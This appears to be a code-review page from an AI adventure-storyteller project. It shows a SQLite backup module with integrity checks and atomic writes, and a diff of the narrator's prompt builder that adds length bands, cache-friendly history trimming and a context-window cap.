## What the procedure guarantees
|
||||
|
||||
1. The source database is opened **read-only** and is never written to. A backup
|
||||
that could damage what it is backing up would be worse than no backup.
|
||||
2. The copy is written to a temporary file beside the destination and renamed
|
||||
into place only after it has been verified, so an interrupted or failed run
|
||||
never leaves a half-written file wearing a backup's name. `os.replace` is
|
||||
atomic on the same filesystem, which is why the temporary sits in the
|
||||
destination's own directory rather than in `/tmp`.
|
||||
3. `PRAGMA integrity_check` runs against the finished copy, opened as its own
|
||||
database, before it is renamed. A backup nobody verified is a belief. v1.1
|
||||
WP-D made this the full check rather than `quick_check`; see `_verify`.
|
||||
4. An existing file is never overwritten. Each run writes a new name stamped
|
||||
with the time, so yesterday's backup survives today's mistake — which is most
|
||||
of what a backup is for.
|
||||
5. Failure is reported and leaves nothing behind but the log line.
|
||||
|
||||
## What it does not do
|
||||
|
||||
There is no restore endpoint. Restoring a whole database means replacing the
|
||||
file the running application has open, and doing that from inside that
|
||||
application is a way to lose both copies. The procedure is in `DEVELOPMENT.md`:
|
||||
stop the app, move the file into place, start it. Campaign-level recovery — the
|
||||
common case, and the one that crosses machines — is the bundle.
|
||||
|
||||
No path comes from a caller. The destination directory is derived from the
|
||||
database the application is already using and the filename is generated here, so
|
||||
there is no request that can direct a write anywhere else (H08).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
import os
|
||||
import sqlite3
|
||||
from dataclasses import dataclass
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
|
||||
from .database import DB_PATH
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
#: Where backups go: a directory beside the database itself. Beside, rather than
|
||||
#: inside a configurable location, because the one thing this must not do is
|
||||
#: write somewhere a request can name.
|
||||
DIRECTORY_NAME = "backups"
|
||||
|
||||
#: The stem every backup file carries, so a directory listing sorts by date and
|
||||
#: says what these files are without being opened.
|
||||
PREFIX = "adventure-storyteller"
|
||||
|
||||
|
||||
class BackupError(RuntimeError):
|
||||
"""A backup did not complete. The source database is untouched."""
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class Backup:
|
||||
"""One finished, verified backup file."""
|
||||
|
||||
path: Path
|
||||
bytes: int
|
||||
pages: int
|
||||
seconds: float
|
||||
integrity: str
|
||||
|
||||
def as_dict(self) -> dict:
|
||||
return {
|
||||
# The name alone, not the path. The full path is a fact about this
|
||||
# machine's filesystem, and the reader is told the directory once by
|
||||
# the endpoint that lists them.
|
||||
"filename": self.path.name,
|
||||
"bytes": self.bytes,
|
||||
"pages": self.pages,
|
||||
"seconds": round(self.seconds, 3),
|
||||
"integrity": self.integrity,
|
||||
}
|
||||
|
||||
|
||||
def directory(db_path: Path | None = None) -> Path:
|
||||
"""The backup directory for a database, created if it does not exist."""
|
||||
root = (db_path or DB_PATH).parent / DIRECTORY_NAME
|
||||
root.mkdir(parents=True, exist_ok=True)
|
||||
return root
|
||||
|
||||
|
||||
def create(db_path: Path | None = None, *, now: datetime | None = None) -> Backup:
|
||||
"""Takes one verified backup of the live database, and returns it.
|
||||
|
||||
Raises `BackupError` on any failure, having removed whatever it had written.
|
||||
The source database is opened read-only and is never modified, so a failure
|
||||
here costs the backup and nothing else.
|
||||
"""
|
||||
source_path = db_path or DB_PATH
|
||||
if not source_path.exists():
|
||||
raise BackupError(f"There is no database at {source_path}.")
|
||||
stamp = (now or datetime.now()).strftime("%Y%m%d-%H%M%S")
|
||||
target = _unused_name(directory(source_path), stamp)
|
||||
# The temporary sits in the destination directory so the rename below is a
|
||||
# rename rather than a copy across filesystems, which would not be atomic.
|
||||
working = target.with_name(target.name + ".partial")
|
||||
started = datetime.now()
|
||||
try:
|
||||
pages = _copy(source_path, working)
|
||||
integrity = _verify(working)
|
||||
except BackupError:
|
||||
_discard(working)
|
||||
raise
|
||||
except Exception as exc: # noqa: BLE001 - reported, never raised raw
|
||||
_discard(working)
|
||||
log.exception("Backup of %s failed", source_path)
|
||||
raise BackupError(f"{type(exc).__name__}: {exc}") from exc
|
||||
size = working.stat().st_size
|
||||
# Only now does the file get the name a reader would trust.
|
||||
os.replace(working, target)
|
||||
return Backup(
|
||||
path=target,
|
||||
bytes=size,
|
||||
pages=pages,
|
||||
seconds=(datetime.now() - started).total_seconds(),
|
||||
integrity=integrity,
|
||||
)
|
||||
|
||||
|
||||
def _copy(source_path: Path, working: Path) -> int:
|
||||
"""Runs SQLite's online backup from `source_path` into a new file.
|
||||
|
||||
The source is opened through a URI with `mode=ro`, so this connection cannot
|
||||
write to it even by accident. The destination is a fresh database that this
|
||||
function creates; `backup()` overwrites whatever is in it, and the caller has
|
||||
guaranteed the name is unused.
|
||||
|
||||
Returns the number of pages copied, which is the one honest measure of how
|
||||
much was actually written — the file size counts pages the source had
|
||||
already allocated.
|
||||
"""
|
||||
source = sqlite3.connect(f"file:{source_path}?mode=ro", uri=True)
|
||||
try:
|
||||
destination = sqlite3.connect(working)
|
||||
try:
|
||||
copied = 0
|
||||
|
||||
def progress(_status, remaining, total):
|
||||
nonlocal copied
|
||||
copied = total - remaining
|
||||
|
||||
# `pages=-1` copies the whole database in one step while holding the
|
||||
# source's read lock, which is the right trade for a local
|
||||
# single-user database: it is the fastest option, it cannot restart
|
||||
# partway, and the lock it holds does not block readers.
|
||||
source.backup(destination, pages=-1, progress=progress)
|
||||
return copied
|
||||
finally:
|
||||
destination.close()
|
||||
finally:
|
||||
source.close()
|
||||
|
||||
|
||||
def _verify(working: Path) -> str:
|
||||
"""Runs `PRAGMA integrity_check` against the finished copy.
|
||||
|
||||
Opened as its own connection, so what is checked is the file on disk rather
|
||||
than any page cache the copy left behind.
|
||||
|
||||
**v1.1 WP-D: the full check, not `quick_check`.** M9 chose `quick_check` for
|
||||
its speed, on the argument that a backup verified slowly enough that nobody
|
||||
takes one is worse than a fast one. The measurements say the trade was not
|
||||
needed here: `quick_check` omits the cross-check between a table and its
|
||||
indexes, and that is a real class of damage it reports as `ok`. A copy whose
|
||||
index disagrees with its table restores into a database that answers queries
|
||||
with rows that are not there — the failure a backup exists to prevent.
|
||||
|
||||
The cost is small at the sizes this application produces: on the 100-turn
|
||||
evidence campaign both checks are a few milliseconds, and on a synthetic
|
||||
database two orders of magnitude larger the difference is still short of a
|
||||
second (WP-D report §E). A backup nobody verified is a belief; this is the
|
||||
check that makes it a fact.
|
||||
"""
|
||||
connection = sqlite3.connect(f"file:{working}?mode=ro", uri=True)
|
||||
try:
|
||||
rows = connection.execute("PRAGMA integrity_check").fetchall()
|
||||
finally:
|
||||
connection.close()
|
||||
result = ", ".join(str(row[0]) for row in rows) if rows else "no result"
|
||||
if result != "ok":
|
||||
raise BackupError(
|
||||
f"The backup was written but did not verify: {result}. It has been "
|
||||
f"discarded; the original database is untouched."
|
||||
)
|
||||
return result
|
||||
|
||||
|
||||
def _unused_name(root: Path, stamp: str) -> Path:
|
||||
"""A name in `root` that nothing is using.
|
||||
|
||||
An existing backup is never overwritten. Two backups taken inside one second
|
||||
are the only way to collide, and the counter settles that rather than one of
|
||||
them silently replacing the other.
|
||||
"""
|
||||
candidate = root / f"{PREFIX}-{stamp}.db"
|
||||
counter = 2
|
||||
while candidate.exists() or candidate.with_name(candidate.name + ".partial").exists():
|
||||
candidate = root / f"{PREFIX}-{stamp}-{counter}.db"
|
||||
counter += 1
|
||||
return candidate
|
||||
|
||||
|
||||
def _discard(working: Path) -> None:
|
||||
"""Removes a partial file, ignoring a file that is already gone."""
|
||||
try:
|
||||
working.unlink()
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
|
||||
def existing(db_path: Path | None = None) -> list[dict]:
|
||||
"""Every backup in the directory, newest first.
|
||||
|
||||
Names and sizes only. Reading one to report what is inside it would mean
|
||||
opening a database on every page load for a screen that is a list.
|
||||
|
||||
`taken_at` is read out of the **filename**, which is the stamp `create`
|
||||
wrote when it took the backup, and falls back to the file's modification
|
||||
time only for a name that does not parse. The two usually agree, and where
|
||||
they disagree the name is the one telling the truth: copying a backup to
|
||||
another disk, restoring it from an archive, or touching it all move the
|
||||
mtime, and a list that then reordered itself would report when the file was
|
||||
last handled rather than when the backup was taken.
|
||||
"""
|
||||
root = directory(db_path)
|
||||
rows = []
|
||||
for path in root.glob(f"{PREFIX}-*.db"):
|
||||
try:
|
||||
stat = path.stat()
|
||||
except OSError:
|
||||
continue
|
||||
rows.append({
|
||||
"filename": path.name,
|
||||
"bytes": stat.st_size,
|
||||
"taken_at": (
|
||||
_stamp_in(path.name) or datetime.fromtimestamp(stat.st_mtime)
|
||||
).isoformat(timespec="seconds"),
|
||||
})
|
||||
rows.sort(key=lambda row: (row["taken_at"], row["filename"]), reverse=True)
|
||||
return rows
|
||||
|
||||
|
||||
def _stamp_in(filename: str) -> datetime | None:
|
||||
"""The time in a backup's name, or `None` if it does not carry one."""
|
||||
rest = filename[len(PREFIX) + 1:].removesuffix(".db")
|
||||
# A collision within one second gets a `-2` suffix, which is not the stamp.
|
||||
stamp = "-".join(rest.split("-")[:2])
|
||||
try:
|
||||
return datetime.strptime(stamp, "%Y%m%d-%H%M%S")
|
||||
except ValueError:
|
||||
return None
|
||||
+1039
-47
File diff suppressed because it is too large
Load Diff
+324
-51
@@ -23,16 +23,34 @@ from dataclasses import dataclass
|
||||
import tiktoken
|
||||
from sqlalchemy.orm import object_session
|
||||
|
||||
from .. import derived, models, narrative, summaries, worldstate
|
||||
from .. import contextwindow, derived, models, narrative, summaries, worldstate
|
||||
from ..knowledge import inject as knowledge_inject
|
||||
from ..providers.openai_compatible import CHAT_CONTINUE_HINT
|
||||
from ..knowledge import records as knowledge_records
|
||||
from . import encoding, history
|
||||
|
||||
AUTHORS_NOTE_DEPTH = 3 # actions from the end of history
|
||||
CARD_BUDGET_SHARE = 0.4 # max share of non-reserved budget that story cards may take
|
||||
# `CARD_BUDGET_SHARE = 0.4` was here, and is gone with the injection it bounded
|
||||
# (M9). It is named rather than deleted silently because two other places
|
||||
# reasoned about their own share against it.
|
||||
NPC_WINDOW = 6 # actions of story searched for NPC trigger words ("in scene")
|
||||
SEPARATOR = "\n\n"
|
||||
|
||||
#: How much of the history window one trim gives up, as one-over-this. A
|
||||
#: quarter: large enough that the window then holds still for several turns,
|
||||
#: small enough that the narrator never loses most of its recent history at once.
|
||||
#:
|
||||
#: **This is the dial.** Lower it for bigger blocks — fewer prompt re-reads and
|
||||
#: faster long campaigns, at the cost of retaining less recent history. Raise it
|
||||
#: for the reverse. Nothing else has to change: `trim_block` is the only reader,
|
||||
#: and `test_trim_fraction_is_the_dial_between_history_and_speed` pins that.
|
||||
#: Measured at 4, on an 8,192-token budget: 124.0s per turn against 362.4s with
|
||||
#: trimming off.
|
||||
TRIM_FRACTION = 4
|
||||
#: Never trim less than this, or the window slides by one action again and the
|
||||
#: whole point is lost.
|
||||
MIN_TRIM_BLOCK = 2
|
||||
|
||||
# Output-length guidance. The endpoint enforces `max_output_tokens` as a hard
|
||||
# limit, and it truncates the reply mid-sentence when the model reaches it. The
|
||||
# state block is emitted last, so truncation removes it. Asking the model to
|
||||
@@ -62,15 +80,49 @@ MIN_LENGTH_FLOOR_WORDS = 60
|
||||
# reader who wants longer turns can ask for them in the author's note.
|
||||
MAX_LENGTH_FLOOR_WORDS = 300
|
||||
|
||||
#: M11, post-M8 finding C: what the campaign's own narration-length choice means
|
||||
#: in words. Until M11 the choice became one English sentence in the campaign's
|
||||
#: instructions and moved no number at all, while the numeric hint below was
|
||||
#: derived from the *global* `max_output_tokens` and therefore read identically
|
||||
#: for brief, medium and long — at the default cap, "must not exceed 506 words,
|
||||
#: and it should not stop short of about 177" whichever the reader picked. A
|
||||
#: setting with a visible control and no measurable effect is worse than no
|
||||
#: setting, because the reader spends trust on it.
|
||||
#:
|
||||
#: These bands are (floor, ceiling) in words. They are a design decision made
|
||||
#: here rather than a ratified requirement — `BUILD-MILESTONES.md` records
|
||||
#: "Brief ~100-200 words" as a candidate — and they are deliberately wide enough
|
||||
#: that a scene can breathe inside one.
|
||||
LENGTH_BANDS = {
|
||||
"brief": (70, 180),
|
||||
"medium": (150, 380),
|
||||
"long": (320, 700),
|
||||
}
|
||||
#: Where the floor lands when a band's ceiling has to be cut down to fit the
|
||||
#: token cap: keep it proportional rather than letting it collide with the
|
||||
#: ceiling.
|
||||
BAND_FLOOR_SHARE = 0.5
|
||||
|
||||
|
||||
# Built from the table vendored in `encoding.py`, not fetched: the upstream
|
||||
# `tiktoken.get_encoding("cl100k_base")` downloads it on first use, and this
|
||||
# is called on every turn.
|
||||
# M6: added to the configured reply budget when reserving output space. It
|
||||
# absorbs the section separators added after budgeting and the drift between
|
||||
# this tokenizer and the serving model's. Fixed rather than proportional: what
|
||||
# it covers does not grow with the size of the budget.
|
||||
OUTPUT_SAFETY_MARGIN = 64
|
||||
#
|
||||
# v1.1 WP-A1: `OUTPUT_SAFETY_MARGIN = 64` was here. M6 added it to the reply
|
||||
# budget to absorb two unrelated things, and v1.1 separates them:
|
||||
#
|
||||
# * **Text the application adds after pricing.** The separators between
|
||||
# sections, and `CHAT_CONTINUE_HINT`, which the provider appends to every chat
|
||||
# request and nothing counted. That is not drift, it is our own text, so it is
|
||||
# now priced exactly (`transport` below).
|
||||
# * **The drift between this tokenizer and the narrator's.** That is what the
|
||||
# 64 tokens were really for, and the v1 evidence showed it was too small. It
|
||||
# is now `contextwindow.safety_reserve`, sized to the window.
|
||||
#
|
||||
#: Story sections that can be joined by `SEPARATOR` after pricing: history,
|
||||
#: author's note, recent history, summary, lore, memories, state, front memory,
|
||||
#: length hint, refusals, reminder. Knowledge and history rows price their own.
|
||||
STORY_SECTION_SLOTS = 11
|
||||
|
||||
|
||||
class ContextOverflow(RuntimeError):
|
||||
@@ -109,17 +161,50 @@ class Section:
|
||||
return count_tokens(self.text)
|
||||
|
||||
|
||||
def length_hint(max_output_tokens: int) -> str:
|
||||
def length_hint(max_output_tokens: int, narration_length: str = "") -> str:
|
||||
"""Ask for a turn that fits inside the output cap, stated as a word budget.
|
||||
|
||||
Returns an empty string when the cap is too small to state usefully. The
|
||||
model can exceed the hint, so the hint earns its tokens only when there is
|
||||
enough room for that overshoot to stay inside the cap.
|
||||
|
||||
M11: `narration_length` is the campaign's own choice — `brief`, `medium` or
|
||||
`long`, or empty for a campaign that never made one. It narrows the range
|
||||
*within* what the token cap allows; it can never widen it, because the cap
|
||||
is what the endpoint will actually emit and a hint that asked for more than
|
||||
that would be asking for a truncated turn.
|
||||
|
||||
**The generation budget is deliberately not touched.** Capping
|
||||
`max_output_tokens` per length would make a brief turn likelier to hit the
|
||||
endpoint's limit mid-sentence, and the state block is emitted *last* — so
|
||||
the first thing a truncated reply loses is the turn's state. That is the
|
||||
trade `BUILD-MILESTONES.md` names when it says "do not hard-truncate prose".
|
||||
"""
|
||||
words = int((max_output_tokens - LENGTH_HEADROOM) * WORDS_PER_TOKEN * LENGTH_BUFFER)
|
||||
if words < MIN_LENGTH_HINT_WORDS:
|
||||
return ""
|
||||
tail = " Finish the narration and append the state block well inside the limit."
|
||||
|
||||
band = LENGTH_BANDS.get((narration_length or "").strip().lower())
|
||||
if band is not None:
|
||||
band_floor, band_ceiling = band
|
||||
# The cap still wins. A `long` campaign on a 300-token reply cap gets
|
||||
# the cap's number, not 700, and the floor moves down with it.
|
||||
words = min(words, band_ceiling)
|
||||
floor = min(band_floor, int(words * BAND_FLOOR_SHARE))
|
||||
tail = (
|
||||
" " + narrative.extract.LENGTH_HINT_TAIL
|
||||
)
|
||||
if floor < MIN_LENGTH_FLOOR_WORDS:
|
||||
return (
|
||||
f"{narrative.extract.LENGTH_HINT_OPENING} this turn must not exceed {words} words. Write only as "
|
||||
f"much as the moment needs — a typical turn is much shorter.{tail}]"
|
||||
)
|
||||
return (
|
||||
f"{narrative.extract.LENGTH_HINT_OPENING} this turn must not exceed {words} words, and it should not "
|
||||
f"stop short of about {floor}. Prefer the lower end of that range unless "
|
||||
f"the scene genuinely needs more.{tail}]"
|
||||
)
|
||||
tail = " " + narrative.extract.LENGTH_HINT_TAIL
|
||||
|
||||
# State the number as a ceiling, never as a budget. In measurements, the
|
||||
# wording "keep this turn under about N words" read to the model as a target
|
||||
@@ -131,7 +216,7 @@ def length_hint(max_output_tokens: int) -> str:
|
||||
floor = min(int(words * LENGTH_FLOOR_SHARE), MAX_LENGTH_FLOOR_WORDS)
|
||||
if floor < MIN_LENGTH_FLOOR_WORDS:
|
||||
return (
|
||||
f"[Hard limit: this turn must not exceed {words} words. Write only as "
|
||||
f"{narrative.extract.LENGTH_HINT_OPENING} this turn must not exceed {words} words. Write only as "
|
||||
f"much as the moment needs — a typical turn is much shorter.{tail}]"
|
||||
)
|
||||
# Both numbers are bounds, and the wording is deliberately asymmetric. The
|
||||
@@ -143,7 +228,7 @@ def length_hint(max_output_tokens: int) -> str:
|
||||
# so a terse model reading the same clause stops at the floor rather than at
|
||||
# forty words.
|
||||
return (
|
||||
f"[Hard limit: this turn must not exceed {words} words, and it should not "
|
||||
f"{narrative.extract.LENGTH_HINT_OPENING} this turn must not exceed {words} words, and it should not "
|
||||
f"stop short of about {floor}. Prefer the lower end of that range unless "
|
||||
f"the scene genuinely needs more.{tail}]"
|
||||
)
|
||||
@@ -243,6 +328,85 @@ def _canon_section(adventure: models.Adventure) -> str:
|
||||
return f"Campaign canon (these are true and may not be contradicted):\n{body}"
|
||||
|
||||
|
||||
def trim_block(history_budget: int, max_output_tokens: int) -> int:
|
||||
"""How many `depth` steps of history one trim gives up.
|
||||
|
||||
Derived from **configuration**, never from the story, because the answer has
|
||||
to be the same on two consecutive turns. A block size that moved with the
|
||||
measured size of recent actions would move the boundary it defines, and a
|
||||
boundary that moves is precisely what this exists to stop.
|
||||
|
||||
An AI action is bounded by `max_output_tokens` and a player action is small
|
||||
beside it, so `max_output_tokens` is the scale of one row of history — a
|
||||
setting, rather than a guess about the data.
|
||||
"""
|
||||
per_action = max(1, max_output_tokens)
|
||||
fits = max(1, history_budget // per_action)
|
||||
return max(MIN_TRIM_BLOCK, fits // TRIM_FRACTION)
|
||||
|
||||
|
||||
def history_floor(depths: list[int | None], costs: list[int], budget: int,
|
||||
block: int) -> int | None:
|
||||
"""The depth of the oldest action to include, snapped to a block boundary.
|
||||
|
||||
## Why this is not just "whatever fits"
|
||||
|
||||
Taking whatever fits is what the builder did, and it is correct. It is also
|
||||
the reason a long campaign costs a full prompt re-read every turn.
|
||||
|
||||
Inference servers cache the prompt they have already processed, keyed on the
|
||||
**prefix**. While the story only grows at the end, each turn re-uses that
|
||||
cache and pays for its own new tokens alone. As soon as the budget is full,
|
||||
"whatever fits" drops the *oldest* action every turn — a change near the
|
||||
front of the prompt — and everything after it has to be processed again.
|
||||
|
||||
So the floor is snapped forward to a multiple of `block` and then held. It
|
||||
moves in steps: several cheap turns that re-use the cache, then one turn that
|
||||
pays to re-read, rather than every turn paying. The cost is history depth —
|
||||
right after a step the window holds up to `block` actions fewer than the
|
||||
budget would allow, which is what `TRIM_FRACTION` bounds.
|
||||
|
||||
Measured against the reference deployment, on prompts this builder produced,
|
||||
at an 8,192 budget where `block` is 3:
|
||||
|
||||
floor held, story grew by one action 14-20 s
|
||||
floor stepped, prompt re-read 333-338 s
|
||||
mean over two whole cycles 124.0 s
|
||||
floor disabled, every turn re-read 362.4 s (361, 361, 365, 361)
|
||||
|
||||
2.9x, and the shape is the point rather than the ratio: the saving grows with
|
||||
`block`, which grows with the budget, so the configuration that hurt most
|
||||
before benefits most now.
|
||||
|
||||
Returns None when nothing needs trimming, which covers two cases that must
|
||||
both stay as they were: a story short enough to fit whole (the window is a
|
||||
growing prefix already, and snapping would drop its opening for no reason),
|
||||
and an action so large that not even the newest one fits, which the caller
|
||||
truncates.
|
||||
"""
|
||||
if not depths or any(depth is None for depth in depths):
|
||||
# Legacy rows, or a path this cannot place on the tree. Trimming needs a
|
||||
# stable coordinate; without one, behave exactly as before.
|
||||
return None
|
||||
|
||||
spent = 0
|
||||
oldest_fitting: int | None = None
|
||||
for depth, cost in zip(reversed(depths), reversed(costs)):
|
||||
if spent + cost > budget:
|
||||
break
|
||||
spent += cost
|
||||
oldest_fitting = depth
|
||||
if oldest_fitting is None:
|
||||
return None
|
||||
if oldest_fitting == depths[0]:
|
||||
# Everything offered fits. There is nothing to drop, and snapping here
|
||||
# would throw away the start of a short story to no purpose.
|
||||
return None
|
||||
|
||||
block = max(1, block)
|
||||
return -(-oldest_fitting // block) * block
|
||||
|
||||
|
||||
def _visible_npcs(actions: list[models.Action], stat_schema: dict) -> dict[str, str]:
|
||||
"""Returns the NPCs whose trigger words appear in the recent story.
|
||||
|
||||
@@ -289,6 +453,7 @@ def build_context(
|
||||
memory_bank: dict | None = None,
|
||||
exclude_action_id: int | None = None,
|
||||
knowledge: knowledge_records.Result | None = None,
|
||||
window: contextwindow.Window | None = None,
|
||||
) -> tuple[str, str, dict]:
|
||||
"""Returns (system_text, story_text, context_report). `memory_bank` is the
|
||||
result of memorybank.retrieve_memories (None when the bank is off);
|
||||
@@ -300,7 +465,22 @@ def build_context(
|
||||
embedding call, this function is synchronous, and a prompt builder that can
|
||||
make network requests is a prompt builder that can fail halfway through a
|
||||
prompt. None means the campaign has no library, or the caller did not ask.
|
||||
|
||||
M11: `window` is what the inference server was found to actually accept
|
||||
(`contextwindow.probe`), and it arrives the same way and for the same
|
||||
reason — asking the server is a network call and this function does not make
|
||||
those. A **verified** window is a ceiling on the configured budget, which is
|
||||
the whole of M11's no-silent-overflow invariant: the prompt this returns
|
||||
cannot be longer than what the runtime will read, so `llama.cpp` never gets
|
||||
the chance to drop the system block off the front. `None` means nobody
|
||||
checked, and then the configured budget stands and the report says it was
|
||||
not verified.
|
||||
"""
|
||||
# M11: the budget every section below is priced against. Capped by what the
|
||||
# server was verified to accept; the configured value when nothing was
|
||||
# verified, or when the reader has asked for something smaller.
|
||||
budget = contextwindow.effective_budget(settings.context_token_budget, window)
|
||||
|
||||
script_mem = _script_memory(adventure)
|
||||
# M7: priced before anything else, because the answer changes what is left.
|
||||
# `plan` prices only the protected half — the untrusted-data rule and any
|
||||
@@ -308,7 +488,7 @@ def build_context(
|
||||
knowledge_plan = knowledge_inject.plan(
|
||||
knowledge if knowledge is not None else knowledge_records.Result(),
|
||||
count_tokens,
|
||||
settings.context_token_budget,
|
||||
budget,
|
||||
)
|
||||
|
||||
# ----- The static block, which is identical on every turn -----
|
||||
@@ -429,7 +609,7 @@ def build_context(
|
||||
if isinstance(script_mem.get("frontMemory"), str):
|
||||
front_memory = script_mem["frontMemory"].strip()
|
||||
|
||||
length_note = length_hint(settings.max_output_tokens)
|
||||
length_note = length_hint(settings.max_output_tokens, adventure.narration_length)
|
||||
|
||||
# The live sections sit below the history, but they are still part of the
|
||||
# prompt, so they still count against the budget. `world_lore` is the
|
||||
@@ -457,25 +637,40 @@ def build_context(
|
||||
# truncated turn on a model whose window is the budget
|
||||
# (`CONTEXT-AND-MEMORY.md` §32, acceptance test F04).
|
||||
#
|
||||
# The margin covers what is added after this arithmetic — the separators
|
||||
# between sections, and the difference between our tokenizer's count and the
|
||||
# serving model's. It is small and fixed rather than proportional, because
|
||||
# what it absorbs does not scale with the budget.
|
||||
output_reserve = max(0, settings.max_output_tokens) + OUTPUT_SAFETY_MARGIN
|
||||
protected = reserved + output_reserve
|
||||
if protected >= settings.context_token_budget:
|
||||
# v1.1 WP-A1: the reply allocation is exactly the reply cap. The text this
|
||||
# application adds after pricing — separators, and the chat hint the
|
||||
# provider appends — is counted as `transport`. What neither can know, the
|
||||
# narrator's tokenizer disagreeing with `cl100k_base`, is the safety reserve,
|
||||
# which is sized to the window and taken before any history is chosen.
|
||||
output_reserve = max(0, settings.max_output_tokens)
|
||||
separator_tokens = count_tokens(SEPARATOR)
|
||||
transport = (
|
||||
separator_tokens * (len(system_sections) + STORY_SECTION_SLOTS)
|
||||
+ count_tokens(CHAT_CONTINUE_HINT)
|
||||
)
|
||||
safety = contextwindow.safety_reserve(budget)
|
||||
protected = reserved + transport + output_reserve + safety
|
||||
if protected >= budget:
|
||||
# Failing here is the point. The alternative — carrying on with a token
|
||||
# or two of history — builds a prompt that is known to overflow, and
|
||||
# the reader gets a truncated reply with no explanation. §32: "fail
|
||||
# gracefully if protected context alone is too large."
|
||||
raise ContextOverflow(
|
||||
f"The protected context needs {protected} tokens "
|
||||
f"({reserved} of prompt plus {output_reserve} reserved for the "
|
||||
f"reply) but the context budget is {settings.context_token_budget}. "
|
||||
"Raise the context budget, lower the maximum reply length, or "
|
||||
"shorten the campaign's canon, instructions and persona."
|
||||
f"({reserved} of prompt, {transport} of formatting, {output_reserve} "
|
||||
f"reserved for the reply and a {safety}-token safety margin) but the "
|
||||
f"context budget is {budget}. "
|
||||
+ (
|
||||
"That budget is what this server was found to accept, so raising "
|
||||
"the setting alone will not help — load the model with a larger "
|
||||
"window. Or lower the maximum reply length, or shorten the "
|
||||
"campaign's canon, instructions and persona."
|
||||
if budget < settings.context_token_budget else
|
||||
"Raise the context budget, lower the maximum reply length, or "
|
||||
"shorten the campaign's canon, instructions and persona."
|
||||
)
|
||||
)
|
||||
available = settings.context_token_budget - protected
|
||||
available = budget - protected
|
||||
|
||||
# ----- M7: retrieved imported knowledge, out of a share of `available` -----
|
||||
#
|
||||
@@ -508,37 +703,75 @@ def build_context(
|
||||
adventure, available_after_knowledge, count_tokens, exclude_action_id
|
||||
)
|
||||
|
||||
# ----- Story cards: triggered by recent story text (the window history could fill) -----
|
||||
trigger_window = truncate_to_last_tokens(
|
||||
SEPARATOR.join(a.text for a in actions), available_after_knowledge
|
||||
)
|
||||
triggered = match_cards(adventure.story_cards, trigger_window)
|
||||
|
||||
card_budget = int(available_after_knowledge * CARD_BUDGET_SHARE)
|
||||
card_records = []
|
||||
lore_lines: list[str] = []
|
||||
# ----- Story cards: legacy, and no longer part of the narrator's prompt (M9)
|
||||
#
|
||||
# Until M9 a keyword-triggered story card was injected here as
|
||||
# `World Lore: <entry>`, taking up to 40% of what was left after the
|
||||
# imported knowledge had been placed.
|
||||
#
|
||||
# `IMPORTED-KNOWLEDGE-DESIGN.md` §73 settles that Story Cards are not the
|
||||
# production imported-knowledge store and, in as many words, that they "must
|
||||
# not become an alternate untracked path around the new knowledge
|
||||
# authority/provenance rules". That is exactly what this was. A card entry
|
||||
# arrived in front of the narrator as a world fact with:
|
||||
#
|
||||
# * no class — nothing said whether it was Canon, Reference or Inspiration,
|
||||
# so nothing framed how far the narrator could rely on it;
|
||||
# * no visibility — no narrator-only distinction at all;
|
||||
# * no source, no hash, no lifecycle, nothing to disable it with;
|
||||
# * no browser surface, since M8 removed the editor — so a reader could
|
||||
# neither see it nor switch it off;
|
||||
# * and no row in the context inspector, which renders `knowledge` and
|
||||
# never rendered `cards`.
|
||||
#
|
||||
# It also competed with imported Canon for one budget, which is the
|
||||
# arrangement M7 spent a milestone separating.
|
||||
#
|
||||
# M9's decision, recorded in the milestone report: story cards are
|
||||
# **compatibility-only legacy data**. Nothing is deleted. The rows stay, the
|
||||
# `/api/story-cards` endpoints stay, the bundle carries them out and back so
|
||||
# a round trip destroys nothing, and `memorybank.cast_brief` still reads them
|
||||
# as the summariser's character roster — a roster names who is on stage so a
|
||||
# memory says "Aldric" rather than "he", it never reaches the narrator, and
|
||||
# every memory written from it is authority-classified by the application
|
||||
# afterwards. What stops is the one path that asserted campaign facts to the
|
||||
# narrator without any of the controls §73 requires.
|
||||
#
|
||||
# `cards` stays in the report and is now always empty for a new turn.
|
||||
# Removing the key would break the historical snapshots that have one, which
|
||||
# M9 has just made portable: an old turn's evidence says story cards were
|
||||
# included, and it must go on saying so.
|
||||
card_records: list[dict] = []
|
||||
lore_section = None
|
||||
used = 0
|
||||
for match in triggered:
|
||||
line = f"World Lore: {match['entry'].strip()}"
|
||||
tokens = count_tokens(line)
|
||||
included = used + tokens <= card_budget
|
||||
if included:
|
||||
lore_lines.append(line)
|
||||
used += tokens
|
||||
card_records.append(
|
||||
{"id": match["id"], "name": match["name"], "keyword": match["keyword"],
|
||||
"included": included}
|
||||
)
|
||||
lore_section = (
|
||||
Section("world_lore", "\n".join(lore_lines)) if lore_lines else None
|
||||
)
|
||||
|
||||
# ----- Story history: newest first until the remaining budget is spent -----
|
||||
history_budget = available_after_knowledge - used
|
||||
|
||||
# Where the window starts, snapped to a block so it holds still for several
|
||||
# turns instead of sliding by one action every turn. `history_floor` says
|
||||
# why that matters and what it costs. None means trim nothing, and then
|
||||
# everything below is exactly what it was before.
|
||||
costs = [count_tokens(_history_text(a)) + count_tokens(SEPARATOR)
|
||||
for a in actions]
|
||||
block = trim_block(history_budget, settings.max_output_tokens)
|
||||
floor_depth = history_floor([a.depth for a in actions], costs,
|
||||
history_budget, block)
|
||||
windowed = actions
|
||||
if floor_depth is not None:
|
||||
kept = [a for a in actions if a.depth is not None and a.depth >= floor_depth]
|
||||
# A floor that leaves nothing is a floor worth ignoring: the loop below
|
||||
# still has to produce a turn, and its own truncation path is the honest
|
||||
# way to handle a single action larger than the whole budget.
|
||||
if kept:
|
||||
windowed = kept
|
||||
else:
|
||||
floor_depth = None
|
||||
|
||||
included_actions: list[models.Action] = []
|
||||
spent = 0
|
||||
oldest_truncated = False
|
||||
for action in reversed(actions):
|
||||
for action in reversed(windowed):
|
||||
# Budget against the text as it appears in the prompt, which includes
|
||||
# the state block when this adventure tracks world state.
|
||||
rendered = _history_text(action)
|
||||
@@ -614,6 +847,7 @@ def build_context(
|
||||
story_text = SEPARATOR.join(s.text for s in story_sections)
|
||||
|
||||
all_sections = [s for s in system_sections if s.text] + story_sections
|
||||
total_tokens = count_tokens(system_text) + count_tokens(story_text)
|
||||
report = {
|
||||
"sections": [
|
||||
